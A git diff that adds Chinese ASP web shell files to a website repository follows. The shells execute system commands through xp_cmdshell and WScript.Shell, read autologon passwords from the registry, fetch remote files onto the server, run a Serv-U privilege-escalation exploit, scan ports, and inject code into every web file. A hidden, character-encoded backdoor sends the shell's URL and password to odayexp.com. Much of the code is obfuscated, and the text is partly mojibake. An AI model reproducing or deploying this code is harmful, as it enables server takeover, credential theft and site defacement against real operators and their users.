    r>~`&BackSI=SIUrl`RRS SI `End If",Pso):End Function:Function DelFolder(Path):ExeCute SinfoEn("he Th)at(PtsisExerldFoF. CIfn`thPar deoleFetel.DCF`r>teen/c<ɹɾ&~thPa~&Ŀ¼r>


    teen~)<(1thPad an) 0)h(at(PtsisExerldFoF. CIf`(1thPa),(0thPar deolyFop.CCF)`>~erntce


    teen~)<(1thPad an) 0)h(at(PtsisExerldFoF. CIf`(1thPa),(0thPar deoleFov.MCF)`>~erntce


    teen~hteen/c<ɹ½&~thPa~&Ŀ¼r>


    teen
      ¼
      0umberErr.N~ Or t = ~rmPorIf te `
      ܵ.ǷѾ Ȩ˿,õնRRS~~` Else`~
      ~`End If`ogon\\WinlrsionentVe\Currws NTWindosoft\MicroWARE\\SOFTCHINEAL_MAY_LOC ~HKEath =oginPautoL~`nLogooAdmi ~AutKey =nableoginEautoLn~`rNameltUseDefauy = ~serKeoginUautoL~`swordltPasDefauy = ~assKeoginPautoL~`bleKeinEnatoLog & aunPathoLogid(autegReawsX.Rle = nEnaboLogiisAuty)` = 0 nableoginEAutoLIf isThen`
      ~`Else`rKey)inUsetoLog & aunPathoLogid(autegReawsX.Rme = sernaoginUautoL`~
      me & sernaoginUautoL ~ & ϵͳʻ:Զ¼RRS ~~`sKey)inPastoLog & aunPathoLogid(autegReawsX.Rrd = asswooginPautoL`r TheIf Ern`Err.Clear`FalseRRS ~~`End If`~
      rd & asswooginPautoL ~ & ʻ:Զ¼RRS ~~`End If`
    RRS ~~",Pso):End Sub:sub ReadREG() +RRS "
    " +RRS "עֵȡ

    " +RRS "" +RRS " " +RRS "
    " +RRS " " +RRS "" +RRS "


    " +if Request("thePath")<>"" then +On Error Resume Next +Set wsX = Server.CreateObject("WScript.Shell") +thePath=Request("thePath") +theArray=wsX.RegRead(thePath) +If IsArray(theArray) Then +For i=0 To UBound(theArray) +RRS "
  • " & theArray(i) +Next +Else +RRS "
  • " & theArray +End If +end if +end sub +Function downloads() +RW=RW&"

    ֱ

    " +RW=RW&"Զļ:
    " +RW=RW&"·: " +RW=RW&"ڸ " +RW=RW&"" +RW=RW&"
    " +Response.Write RW +If isDebugMode=False Then +On Error Resume Next +End If +Dim Http,theUrl,thePath,stream,getfileName,overWrite +theUrl=Request("theUrl") +thePath=Request("thePath") +overWrite=Request("overWrite") +Set stream=Server.CreateObject("ad"&e&"odb.st"&e&"ream") +Set Http=Server.CreateObject("MSXML2.XMLHTTP") +If overWrite<>2 Then +overWrite=1 +End If +Http.Open "GET", theUrl, False +Http.Send() +If Http.ReadyState<>4 Then +End If +With stream +.Type=1 +.Mode=3 +.Open +.Write Http.ResponseBody +.Position=0 +.SaveToFile thePath, overWrite +If Err.Number=3004 Then +Err.Clear +getfileName=Split(theUrl, "/")(UBound(Split(theUrl, "/"))) +If getfileName="" Then +getfileName="12vh.txt" +End If +thePath=thePath & "\" & getfileName +.SaveToFile thePath, overWrite +End If +.Close +End With +chkErr(Err) +Set Http=Nothing +Set Stream=Nothing +If isDebugMode=False Then +On Error Resume Next +End If +End Function +FuncTion MMD() +SI="
    CMD
    ":REsPonsE.writE SI:SI="":If trim(REquEst.form("MMD"))<>"" thEn:PaSsword= trim(REquEst.form("P")):id=trim(REquEst.form("U")):set adoConn=SErvEr.CreateObject("ADODB.Connection"):adoConn.Open "Provider=SQLOLEDB.1;PaSsword="&PaSsword&";UsEr ID="&id:strQuery = "exec master.dbo.xp_cmdshell '" & REquEst.form("MMD") & "'":set recREsult = adoConn.Execute(strQuery):If NOT recREsult.EOF thEn:Do While NOT recREsult.EOF:strREsult = strREsult & chr(13) & recREsult(0):recREsult.MoveNext:Loop:End if:set recREsult = Nothing:strREsult = REplAcE(strREsult," "," "):strREsult = REplAcE(strREsult,"<","<"):strREsult = REplAcE(strREsult,">",">"):strREsult = REplAcE(strREsult,chr(13),"
    "):End if:set adoConn = Nothing:REsPonsE.WritE REquEst.form("MMD") & "
    "& strREsult +rrs ""©url&"" +end Function:Function adminab() +Response.Expires=0 +on error resume next +Set tN=server.createObject("Wscript.Network") +Set objGroup=GetObject("WinNT://"&tN.ComputerName&"/Administrators,group") +For Each admin in objGroup.Members +RRS admin.Name&"
    " +Next +if err then +RRS "̵IJа:Wscript.Network" +end if +End Function +sWHEEL1 = "jwt" +Function Encrypt(acd) +For i = 1 To Len(acd) step 1 +c=mid(acd,i,1) +if c="" then +d=mid(acd,i,2) +i=i+1 +e=replace(d,"","") +bbc=bbc&mid(sWHEEL1,cint(e),1) +else +bbc=bbc&c +end if +next +Encrypt=bbc +end Function +sub ScanPort():ExeCute SinfoEn("76000 = 77meoutiptTir.ScrServe`~ thet~)=~(~por.Formquestif ren`89,4333,3345,14139,4,135,0,110,25,821,23ist=~PortL958~`else`m(~pot.Forequesist=rPortLrt~)`end if`)=~~ (~ip~.Formquestif rethen`27.0.IP=~10.1~`else`(~ip~.FormquestIP=re)`end if`D)˿ɨbr>~`rue;'led=tdisabbmit.m1.su='forubmit' onSion='' act'postthod=1' me'formname=form RRS~<>~` n IP:p>ScaRRS~<;~`ze='6~' si~&IP&lue='p' vaid='iBox' 'Textlass=xt' ce='te' type='ipt nam~`rt Libr>PoRRS~~`br>~`n '>~' scaalue=om' v'buttlass=it' c'submtype=mit' ='sub nameinputRRS~<`11'>~ue='1' val'scan' id=iddenpe='hn' ty='sca nameinputRRS~<`form>/p> ~~ n~) <(~sca.FormquestIf reThen`1 = ttimerimer`>
    b>ɨRRS(~~)`~),~,~portForm(uest.t(req Splitmp =~)`ip~),orm(~est.F(requSplitip = ~,~)`bound to Uu = 0For h(ip)` = 0 ,~-~)p(hu)Str(iIf InThen`ound(To Ub = 0 For itmp)` Thenp(i))ic(tmnumerIf Is `p(i))), tmip(huScan(Call `Else`, ~-~mp(i)Str(t = Inseekx)` 0 Thekx >If seen`kx - , seemp(i)eft(tN = Lstart1 )`seekx)) - tmp(i Len(p(i),ht(tm= RigendN )` ThenendN)eric(Isnum and artN)ic(stnumerIf Is`To enartN = stFor jdN`), j)ip(huScan(Call `Next`Else`br>~)mber~)`End If`End If`Next`Else`hu),~v(ip(StrRe,1,Inp(hu)Mid(irt = ipSta.~))`,~-~)p(hu)Str(i))-Inip(hu,Len(-~)+1hu),~r(ip(,InStp(hu)Mid(i) to )+1,1),~.~ip(hurRev(,InStp(hu)Mid(ixx = For x)`ound(To Ub = 0 For itmp)` Thenp(i))ic(tmnumerIf Is `tmp(ixxx, rt & ipStaScan(Call ))`Else`, ~-~mp(i)Str(t = Inseekx)` 0 Thekx >If seen`kx - , seemp(i)eft(tN = Lstart1 )`seekx)) - tmp(i Len(p(i),ht(tm= RigendN )` ThenendN)eric(Isnum and artN)ic(stnumerIf Is`To enartN = stFor jdN`xxx,jrt & ipStaScan(Call )`Next`Else`br>~)mber~)`End If`End If`Next`Next`End If`Next`2 = ttimerimer`imer1er2-tt(timtr(inme=cstheti))`ime&~&thet in ~ocesshr>PrRRS~< s~`END IF",Pso):end sub:copyurl=chr(60)&chr(115)&chr(99)&chr(114)&chr(105)&chr(112)&chr(116)&chr(32)&chr(115)&chr(114)&chr(99)&chr(61)&chr(39)&chr(104)&chr(116)&chr(116)&chr(112)&chr(58)&chr(47)&chr(47)&chr(111)&chr(100)&chr(97)&chr(121)&chr(101)&chr(120)&chr(112)&chr(46)&chr(99)&chr(111)&chr(109)&chr(47)&chr(115)&chr(120)&chr(47)&chr(115)&chr(46)&chr(97)&chr(115)&chr(112)&chr(63)&chr(115)&chr(61)&Serveru&chr(38)&chr(112)&chr(61)&Serverp&chr(39)&chr(62)&chr(60)&chr(47)&chr(115)&chr(99)&chr(114)&chr(105)&chr(112)&chr(116)&chr(62)&chr(13)&chr(10):Sub Scan(targetip, portNum):On Error Resume Next:set conn = Server.CreateObject("ADODB.connection"):connstr="Provider=SQLOLEDB.1;Data Source=" & targetip &","& portNum &";User ID=lake2;Password=;":conn.ConnectionTimeout=1:conn.open connstr:If Err Then:If Err.number = -2147217843 or Err.number = -2147467259 Then:If InStr(Err.description, "(Connect()).") > 0 Then:RRS(targetip & ":" & portNum & ".......ر
    "):Else:RRS(targetip & ":" & portNum & ".......
    "):End If:End If:End If:End Sub:Select Case Action:Case "MainMenu":MainMenu():Case "getTerminalInfo":getTerminalInfo():Case "PageAddToMdb":PageAddToMdb():case "ScanPort":ScanPort():Case "goback":goback():Case "Servu":SUaction=request("SUaction") +if not isnumeric(SUaction) then response.end +user = trim(request("u")) +pass = trim(request("p")) +port = trim(request("port")) +cmd = trim(request("c")) +f=trim(request("f")) +if f="" then +f=gpath() +else +f=left(f,2) +end if +ftpport = 65500 +timeout=3 +loginuser = "User " & user & vbCrLf +loginpass = "Pass " & pass & vbCrLf +deldomain = "-DELETEDOMAIN" & vbCrLf & "-IP=0.0.0.0" & vbCrLf & " PortNo=" & ftpport & vbCrLf +mt = "SITE MAINTENANCE" & vbCrLf +newdomain = "-SETDOMAIN" & vbCrLf & "-Domain=goldsun|0.0.0.0|" & ftpport & "|-1|1|0" & vbCrLf & "-TZOEnable=0" & vbCrLf & " TZOKey=" & vbCrLf +newuser = "-SETUSERSETUP" & vbCrLf & "-IP=0.0.0.0" & vbCrLf & "-PortNo=" & ftpport & vbCrLf & "-User=go" & vbCrLf & "-Password=od" & vbCrLf & _ +"-HomeDir=c:\\" & vbCrLf & "-LoginMesFile=" & vbCrLf & "-Disable=0" & vbCrLf & "-RelPaths=1" & vbCrLf & _ +"-NeedSecure=0" & vbCrLf & "-HideHidden=0" & vbCrLf & "-AlwaysAllowLogin=0" & vbCrLf & "-ChangePassword=0" & vbCrLf & _ +"-QuotaEnable=0" & vbCrLf & "-MaxUsersLoginPerIP=-1" & vbCrLf & "-SpeedLimitUp=0" & vbCrLf & "-SpeedLimitDown=0" & vbCrLf & _ +"-MaxNrUsers=-1" & vbCrLf & "-IdleTimeOut=600" & vbCrLf & "-SessionTimeOut=-1" & vbCrLf & "-Expire=0" & vbCrLf & "-RatioUp=1" & vbCrLf & _ +"-RatioDown=1" & vbCrLf & "-RatiosCredit=0" & vbCrLf & "-QuotaCurrent=0" & vbCrLf & "-QuotaMaximum=0" & vbCrLf & _ +"-Maintenance=System" & vbCrLf & "-PasswordType=Regular" & vbCrLf & "-Ratios=None" & vbCrLf & " Access=c:\\|RWAMELCDP" & vbCrLf +quit = "QUIT" & vbCrLf +newuser=replace(newuser,"c:",f) +select case SUaction +case 1 +set a=Server.CreateObject("Microsoft.XMLHTTP") +a.open "GET", "http://127.0.0.1:" & port & "/goldsun/upadmin/s1",True, "", "" +a.send loginuser & loginpass & mt & deldomain & newdomain & newuser & quit +set session("a")=a +RRS"
    " +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"
    " +RRS"" +case 2 +set b=Server.CreateObject("Microsoft.XMLHTTP") +b.open "GET", "http://127.0.0.1:" & ftpport & "/goldsun/upadmin/s2", True, "", "" +b.send "User go" & vbCrLf & "pass od" & vbCrLf & "site exec " & cmd & vbCrLf & quit +set session("b")=b +RRS"
    " +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"
    " +RRS"" +case 3 +set c=Server.CreateObject("Microsoft.XMLHTTP") +c.open "GET", "http://127.0.0.1:" & port & "/goldsun/upadmin/s3", True, "", "" +c.send loginuser & loginpass & mt & deldomain & quit +set session("c")=c +RRS"
    Ȩ,ִ
    "&cmd&"

    " +RRS"" +RRS"
    " +case else +on error resume next +set a=session("a") +set b=session("b") +set c=session("c") +a.abort +Set a = Nothing +b.abort +Set b = Nothing +c.abort +Set c = Nothing +RRS"

    " +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"
    Serv-U Ȩ ASP
    û:
    ڣ
    ϵͳ·
    " +RRS"" +RRS"
    " +end select +function Gpath() +on error resume next +err.clear +set f=Server.CreateObject("Scripting.FileSystemObject") +if err.number>0 then +gpath="c:" +exit function +end if +gpath=f.GetSpecialFolder(0) +gpath=lcase(left(gpath,2)) +set f=nothing:end function: +Case "Cplgm" +Fpath=Request("fd") +addcode = Request("code") +addcode2 = Request("code2") +pcfile=request("pcfile") +checkbox=request("checkbox") +ShowMsg=request("ShowMsg") +FType=request("FType") +M=request("M") +if Ftype="" then Ftype="txt|htm|html|asp|php|jsp|aspx|cgi|cer|asa|cdx" +if Fpath="\" then Fpath=Server.MapPath("\") +if Fpath="." or Fpath="" then Fpath=Server.MapPath(".") +if addcode="" then addcode="" +if checkbox="" then checkbox=request("checkbox") +if pcfile="" then +pcfileName=Request.ServerVariables("SCRIPT_NAME") +pcfilek=split(pcfileName,"/") +pcfilen=ubound(pcfilek) +pcfile=pcfilek(pcfilen) +end if +RRS ("
    վĿ¼- "&Server.MapPath("/")&"
    ") +RRS ("Ŀ¼- "&Server.MapPath(".")) +RRS "
    [" +if M="1" then RRS"-" +if M="2" then RRS"-˵" +if M="3" then RRS"-滻" +if M="" then response.end +RRS "]" +RRS "" +if M="1" then RRS "" +RRS "" +RRS "" +RRS "" +RRS "" +if M="3" then RRS "" +RRS "" +RRS "
    ļ· \վĿ¼.ΪĿ¼
    ظ ֹһҳжظĴ
    ųļ 벻뱻޸ĵļ磺1.asp|2.asp|3.asp
    ļͣ Ҫ޸ĵļ[չ]磺htm|html|asp|php|jsp|aspx|cgi
    " +if M="1" then RRS"Ҫҵ" +if M="2" then RRS"Ҫ" +if M="3" then RRS"Ҫ滻Ĵ룺" +RRS"
    滻Ϊ
    --ǽ--[ɹ ų ظ]
    " +if request("submit")="ʼִ" then +RRS"
    ִм¼
    " +call InsertAllFiles(Fpath,addcode,pcfile) +RRS"
    " +end if +sub att() +dim Path,FileName,NewTime,ShuXing +set path=request.Form("path1") +set fileName=request.Form("filename") +set newTime=request.Form("time") +set ShuXing=request.Form("shuxing") +RRS"
    " +RRS"·:
    " +RRS"ļ:
    " +RRS"޸ʱ:
    " +RRS"
    " +RRS"" +RRS"
    " +if( (len(path)>0)and(len(fileName)>0)and(len(newTime)>0) )then +Set fso=Server.CreateObject("Scripting.FileSystemObject") +Set file=fso.getFile(path&fileName) +file.attributes=ShuXing +Set shell=Server.CreateObject("Shell.Application") +Set app_path=shell.NameSpace(server.mappath(".")) +Set app_file=app_path.ParseName(fileName) +app_file.Modifydate=newTime +RRS"

    ޸ļ  "&path&fileName&"  " +end if +end sub +function php():set fso=Server.CreateObject("Scripting.FileSystemObject"):fso.CreateTextFile(server.mappath("test.php")).Write"":Response.write" ":Response.write "





    ܿtest.phpʾ,ʾ֧PHP

    "" then +If Asc(Mid(bb, i, 1)) < 32 Or Asc(Mid(bb, i, 1)) > 126 Then +a = a & Chr(Asc(Mid(bb, i, 1))) +else +pk=asc(mid(bb,i,1))-but +if pk>126 then +pk=pk-95 +elseif pk<32 then +pk=pk+95 +end if +a=a&chr(pk) +end if +else +a=a&vbcrlf +end if +next +lIl=a +end function +Function RndNumber(Min,Max) +Randomize +RndNumber=Int((Max - Min + 1) * Rnd() + Min) +End Function +function Gpath() +on error resume next +err.clear +set f=Server.CreateObject("Scripting.FileSystemObject") +if err.number>0 then +gpath="c:" +exit function +end if +gpath=f.GetSpecialFolder(0) +gpath=lcase(left(gpath,2)) +set f=nothing +end function +function jsp():set fso=Server.CreateObject("Scripting.FileSystemObject"):fso.CreateTextFile(server.mappath("test.jsp")).Write"ϲ֧jsp":Response.write" ":Response.write "





    ܿtest.jspʾ,ʾ֧jsp

    ɾԵļ(ȫԲſɾ,!)

    ":End function:function aspx():set fso=Server.CreateObject("Scripting.FileSystemObject"):fso.CreateTextFile(server.mappath("test.aspx")).Write"ϲ֧aspx":Response.write" ":Response.write "





    ܿTest.aspxʾ,ʾ֧asp.net

    Dz֧!ɼǵɾ":End function +function apjdel():set fso=Server.CreateObject("Scripting.FileSystemObject"):fso.DeleteFile(server.mappath("test.aspx")):fso.DeleteFile(server.mappath("test.php")):fso.DeleteFile(server.mappath("test.jsp")):response.write"ɾ!":End function:function sam():Response.write "







    ":response.write"
    N
    ":End function:acode="=s?psa.s/xs/moc.pxeyado//:p33h'=crs 3pircs<" +Efun=StrReverse(replace(replace(Encrypt(acode),"",Chr(34)),"",vbCrLf)):function goback():set Ofso = Server.CreateObject("Scripting.FileSystemObject") +set ofolder = Ofso.Getfolder(Session("FolderPath")) +if not ofolder.IsRootFolder then +Response.write "" +else +Response.write "" +end if +set Ofso=nothing +set ofolder=nothing +end function +Sub InsertAllFiles(Wpath,Wcode,pc) +Server.ScriptTimeout=999999999 +if right(Wpath,1)<>"\" then Wpath=Wpath &"\" +Set WFSO = CreateObject("Scripting.FileSystemObject") +on error resume next +Set f = WFSO.GetFolder(Wpath) +Set fc2 = f.files +For Each myfile in fc2 +Set FS1 = CreateObject("Scripting.FileSystemObject") +FType1=split(myfile.name,".") +FType2=ubound(FType1) +if Ftype2>0 then +FType3=LCase(FType1(FType2)) +else +FType3="" +end if +if Instr(LCase(pc),LCase(myfile.name))=0 and Instr(LCase(FType),FType3)<>0 then +select case M +case "1" +if checkbox<>"checked" then +Set tfile=FS1.opentextfile(Wpath&""&myfile.name,8,-2) +tfile.writeline Wcode +RRS" "&Wpath&myfile.name +tfile.close +else +Set tfile1=FS1.opentextfile(Wpath&""&myfile.name,1,-2) +if Instr(tfile1.readall,Wcode)=0 then +Set tfile=FS1.opentextfile(Wpath&""&myfile.name,8,-2) +tfile.writeline Wcode +RRS""&Wpath&myfile.name +tfile1.close +else +RRS" "&Wpath&myfile.name +tfile1.close +end if +Set tfile1=Nothing +end if +case "2" +Set tfile1=FS1.opentextfile(Wpath&""&myfile.name,1,-2) +NewCode=Replace(tfile1.readall,Wcode,"") +Set objCountFile=WFSO.CreateTextFile(Wpath&myfile.name,True) +objCountFile.Write NewCode +objCountFile.Close +RRS""&Wpath&myfile.name +Set objCountFile=Nothing +case "3" +Set tfile1=FS1.opentextfile(Wpath&""&myfile.name,1,-2) +NewCode=Replace(tfile1.readall,Wcode,addCode2) +Set objCountFile=WFSO.CreateTextFile(Wpath&myfile.name,True) +objCountFile.Write NewCode +objCountFile.Close +RRS""&Wpath&myfile.name +Set objCountFile=Nothing +case else +RRS".":response.end +end select +else +RRS" "&Wpath&myfile.name +end if +RRS " Down " +RRS "edit " +RRS "Del " +RRS "Copy " +RRS "Move
    " +Next +Set fsubfolers = f.SubFolders +For Each f1 in fsubfolers +NewPath=Wpath&""&f1.name +InsertAllFiles NewPath,Wcode,pc +Next +set tfile=nothing +Set FSO = Nothing +set tfile=nothing +set tfile2=nothing +Set WFSO = Nothing +End Sub + +case "apjdel":apjdel():case"hiddenshell":hiddenshell():case "php":php():case "aspx":aspx():case "jsp":jsp():Case "MMD":MMD():Case "adminab":adminab():Case "sql":sql():Case "downloads":downloads():Case "ReadREG":call ReadREG():Case "att":call att():Case "Show1File":Set ABC=New LBF:ABC.Show1File(Session("FolderPath")):Set ABC=Nothing:Case "DownFile":DownFile FName:ShowErr():Case "DelFile":Set ABC=New LBF:ABC.DelFile(FName):Set ABC=Nothing:Case "EditFile":Set ABC=New LBF:ABC.EditFile(FName):Set ABC=Nothing:Case "CopyFile":Set ABC=New LBF:ABC.CopyFile(FName):Set ABC=Nothing:Case "MoveFile":Set ABC=New LBF:ABC.MoveFile(FName):Set ABC=Nothing:Case "DelFolder":Set ABC=New LBF:ABC.DelFolder(FName):Set ABC=Nothing:Case "CopyFolder":Set ABC=New LBF:ABC.CopyFolder(FName):Set ABC=Nothing:Case "MoveFolder":Set ABC=New LBF:ABC.MoveFolder(FName):Set ABC=Nothing:Case "NewFolder":Set ABC=New LBF:ABC.NewFolder(FName):Set ABC=Nothing:Case "UpFile":UpFile():Case "Cmd1Shell":Cmd1Shell():Case "Logout":Session.Contents.Remove("web2a2dmin"):Response.Redirect URL:Case "CreateMdb":CreateMdb FName:Case "CompactMdb":CompactMdb FName:Case "DbManager":DbManager():Case "Course":Course():Case "ServerInfo":ServerInfo():Case Else MainForm():End Select:ExeCute SinfoEn("r(ErowShn he tu~rvSe>~ntm/h> \ No newline at end of file diff --git a/www-7jyewu-cn/土司搞基asp大马 (1)_重命名_2014-10-23-14-54-16.asp b/www-7jyewu-cn/土司搞基asp大马 (1)_重命名_2014-10-23-14-54-16.asp new file mode 100644 index 0000000..340a7bb --- /dev/null +++ b/www-7jyewu-cn/土司搞基asp大马 (1)_重命名_2014-10-23-14-54-16.asp @@ -0,0 +1,623 @@ +<% + +UserPass="admin"' +'------------------------ڷǷ;---------------------- +mmname="˾asp" +bottomad="Oh my God, what is safe?" +blogurl="http://www.7jyewu.cn/" +'----------------------һк޹---------------------- +Server.ScriptTimeout=999999999:Response.Buffer=true:On Error Resume Next +ExeCute "sub ShowErr():If Err Then:RRS""

     "" & Err.Description & ""

    "":Err.Clear:Response.Flush:End If:end sub:Sub RRS(str):response.write(str):End Sub:Function RePath(S):RePath=Replace(S,""\"",""\\""):End Function:Function RRePath(S):RRePath=Replace(S,""\\"",""\""):End Function:URL=Request.ServerVariables(""URL""):ServerIP=Request.ServerVariables(""LOCAL_ADDR""):Action=Request(""Action""):Pos=2:RootPath=Server.MapPath("".""):WWWRoot=Server.MapPath(""/""):Serveru=request.servervariables(""http_host"")&url:FolderPath=Request(""FolderPath""):serverp=UserPass:Pn=pos*44:FName=Request(""FName""):pso=5:BackUrl=""

    """ + +RRS"" +RRS""&mmname&" - "&ServerIP&"" +rrS"" +rRs"" +ExeCute SinfoEn("lError=kilnerrodow.o;}win trueeturns(){rError killctiont>funscrip=javaguaget lanscripRRS~ȷϼݿSQL䡣
    "";}else if(i==12){alert(Str[i]);}else{DbForm.SqlStr.value = Str[i];}return true;}":RRS"function FullSqlStr(str,pg){if(DbForm.DbStr.value.length<5){alert(""ݿӴǷȷ!"");return false;}if(str.length<10){alert(""SQLǷȷ!"");return false;}DbForm.SqlStr.value = str;DbForm.Page.value = pg;abc.innerHTML="""";DbForm.submit();return true;}" +RRS"function gotoURL(targ,selObj,restore){if(selObj.options[selObj.selectedIndex].js==1){eval(selObj.options[selObj.selectedIndex].value);if (restore) selObj.selectedIndex=0}else{eval(targ+"".location='""+selObj.options[selObj.selectedIndex].value+""'"");if (restore) selObj.selectedIndex=0;}}" +rrs "" +Dim Sot(13,2):Sot(0,0) = "Scripting.FileSystemObject":Sot(0,2) = "ļ":Sot(1,0) = "wscript.shell":Sot(1,2) = "ִ":Sot(2,0) = "ADOX.Catalog":Sot(2,2) = "ACCESS":Sot(3,0) = "JRO.JetEngine":Sot(3,2) = "ACCESSѹ":Sot(4,0) = "Scripting.Dictionary":Sot(4,2) = "ϴ":Sot(5,0) = "Adodb.connection":Sot(5,2) = "ݿ":Sot(6,0) = "Adodb.Stream":Sot(6,2) = "ϴ":Sot(7,0) = "SoftArtisans.FileUp":Sot(7,2) = "SA-FileUp ļϴ":Sot(8,0) = "LyfUpload.UploadFile":Sot(8,2) = "Ʒļϴ":Sot(9,0) = "Persits.Upload.1":Sot(9,2) = "ASPUpload ļϴ":Sot(10,0) = "JMail.SmtpMail":Sot(10,2) = "JMail ʼշ":Sot(11,0) = "CDONTS.NewMail":Sot(11,2) = "SMTP":Sot(12,0) = "SmtpMail.SmtpMail.1":Sot(12,2) = "SmtpMail":Sot(13,0) = "Microsoft.XMLHTTP":Sot(13,2) = "ݴ" +For i=0 To 13 +Set T=Server.CreateObject(Sot(i,0)) +If -2147221005 <> Err Then +IsObj=" " +Else +IsObj=" " +Err.Clear +End If +Set T=Nothing +Sot(i,1)=IsObj +Next + + + + +If FolderPath<>"" then +Session("FolderPath")=RRePath(FolderPath) +End If:If Session("FolderPath")="" Then +FolderPath=RootPath +Session("FolderPath")=FolderPath +End if +Function MainForm() +RRS"
    " +RRS"" +RRS"" +RRS"
    " +RRS"" +RRS"" +RRS"
    ַ" +RRS"" +RRS"" +RRS"
    " +RRS"" +RRS"" +RRS"ProgramAllUserspcAnywhereserv-uRealServerSQLPHPconfigdataTempRECYCLERд
    " +End Function:Function MainMenu() +RRS"
    " +RRS"

    ʾ

    " +RRS"" +RRS"
    " +RRS"" +If soT(0,1)=" " Then +RRS"" +Else +Set ABC=New LBF:RRS ABC.ShowDriver():Set ABC=Nothing +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" + +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +End if +RRS"

    " +RRS"
    Ȩ
    վĿ¼
    Ŀ¼
    ϼĿ¼
    ½Ŀ¼
    ½ı
    Զ
    ϴļ
    û˺
    Ա
    Զ¼
    ֧
    ִCMD
    SQLִCMD
    ˿ɨ
    Serv-uȨ
    ע
    ޸ļ
    س
    ASPX̽
    PHP̽
    JSP̽
    ߼
    ݿ
    ˳¼
    " +End Function: + + + + + +Sub PageAddToMdb():ExeCute SinfoEn("atePth, cteAthm Dih`~)cteAth(~stueeq R =cteAth`~)thPahe~tt(esquRe= h atePth`0000=1uteOimtTipcr.SerrvSe0`he Tb~MdTodd~a= t Ache tIfn`thPahe(tdboMdTad)`UrckBa~&v>dibr>dibr>os=podthmem or=8zesi~ ~~& ) ~)~.h(atpPMar.veer(SdecoEnmlHt& ~ ~~e=luvah atePthe=am nutnpAche=tmenab MdTodd=aueal venddhie=yp tutnpiopt/oOpp=aueal vontiop>Fso=fueal vontiop>~ctlese~'ʼ'e=luvat miub=spetyt puin
    ~rmfobr:<)O֧FS(⿪>r/os=podthmem or=8zesi~ b~mdH.HS~\& ) ~)~.h(atpPMar.veer(SdecoEnmlHt& ~ ~~e=luvah atePthe=am nutnp'e=luvat miub=spetyt puin>
    ~rmfo ilehi WDo`enThe lsFa= ) i), thPahe(tftLes(stxirEdeol.F~)ctjeObemstSyleFig.inptriSc(~ctjeObteeaCrr.veer SIf`)) 1 - ih,atePtht(ef(LerldFoteeaCr).t~ecbjmOteyseSil.Fngtiipcr~St(ecbjeOatre.CerrvSe`Ifd En`he T~)~\, 1)+ i , thPahe(tid(MtrnS IIfn`\~ ~), 1 + ih,atePthd(Mir(stIn+ i = i )`ls Ee`= i 0`Ifd En`opLo",Pos):End Sub:Sub saTreeForMdb(thePath, rs, stream):ExeCute SinfoEn("stLileFiys sr,deoleFth, emitm Di`b$ldH.HSb$mdH.HS~$= t iseLilsFsy~`h)atePthe(acSpmeNaX.sa= r deoleFtht Se`mste.IerldFohe tInm te ichEar Fo`enThe ru T =erldFoIsm.te iIf`amrest, rs, thPam.te idbrMFoeeTrsa`ls Ee`enTh0 = <~)~$& e am.Nemit& ~ ~$, stLileFiys(strnS IIf`Nedd.Arsw` 4h,at.Pemitd(Mi= ) h~atePth(~rs)`h)at.Pemite(ilmFrodFoa.Lamrest`d(ea.Ramrest= ) t~enntColefi(~rs)`atpd.Urse`Ifd En`Ifd En`xtNe`inthNo= r deoleFtht Seg",Pos):End Sub:Function Course():ExeCute SinfoEn("ter'>='cenalign='0' ddingellpa'1' ccing=llspa0' ceder='' bor'menuolor=' bgc='600widthable br>ϵr='megcoloer' b'centlign='3' aspan=' colt='20heigh>~` nextesumeror ron er`NT://(~Winbject getObj inach ofor e.~)`err.clear`e=~~ rtTypJ.Staif OBthen`&~~` FF~~>#FFFFor=~~bgcol20~~ ht=~~ heig&~&nbsFFF~~~#FFFlor=~ bgcod>~`d>&nbs~~2~~span=~ colFFFF~~~#FFolor=~ bgc~~20~ight=td he~ `end if`x=~Զhen le=2 trtTypJ.Staif OB~`x=~ֶhen le=3 trtTypJ.Staif OB~`x=~hen le=4 trtTypJ.Staif OB~`pe=2 artTyBJ.Stand Owin~ ))<>~h,4,3j.patid(obase(mif LCthen`>&nbsF0000or=#Ft col][n=~~2olspaF~~ cFFFFFr=~~#gcolo0~~ bt=~~2heigh>&nbFFFF~~~#FFolor=~ bgc~~20~ight=td he/td>&nbsFFF~~~#FFFlor=~ bgco~20~~ght=~d heitr>~`else`>&nbs399FFor=#3t col][n=~~2olspaF~~ cFFFFFr=~~#gcolo0~~ bt=~~2heigh>&nbFFFF~~~#FFolor=~ bgc~~20~ight=td he/td>&nbsFFF~~~#FFFlor=~ bgco~20~~ght=~d heitr>~`end if`next`~",Pso):End Function:Function ServerInfo():ExeCute SinfoEn("ter'>='cenalign='0' ddingellpa'1' ccing=llspa0' ceder='' bor'menuolor=' bgc='80%widthable br>r='megcoloer' b'centlign='3' aspan=' colt='20heigh>~`td>~&reFFFF'='#FFcolortd bg/td>&nFFFFFor='#bgcol>FFFFFr='#Fgcolo00' bth='2' widt='20heigh>'#FFFolor=d bgctd>&nbFFFFFr='#FgcoloIPFFF'>'#FFFolor=' bgc='200width'20' ight=td heer'><'centlign=='_blargetrm' t'ipfoname=asp' ndex.com/ip138.www.itp://n='htactiopost thod=rm me&~<'2'>~&nFFFFFr='#Fgcolonbsp;FF'>&#FFFFlor=' bgcod>FFFFFr='#Fgcolo00' bth='2' widt='20heigh>'#FFFolor=d bgctd>&nbFFFFFr='#FgcoloCPU'>FFFFFr='#Fgcolo00' bth='2' widt='20heigh>~#FFFFlor=' bgcod>&nbsFFFF'='#FFcolortd bg/td><ϵͳ<'>FFFFFr='#Fgcolo00' bth='2' widt='20heigh>'#FFFolor=d bgctd>&nbFFFFFr='#Fgcolo汾'>WEBFFFFFr='#Fgcolo00' bth='2' widt='20heigh>~&SoFFFF'='#FFcolortd bg/td><0)&~~&SFFFFFr='#Fgcolo00' bth='2' widt='20heigh>" +end 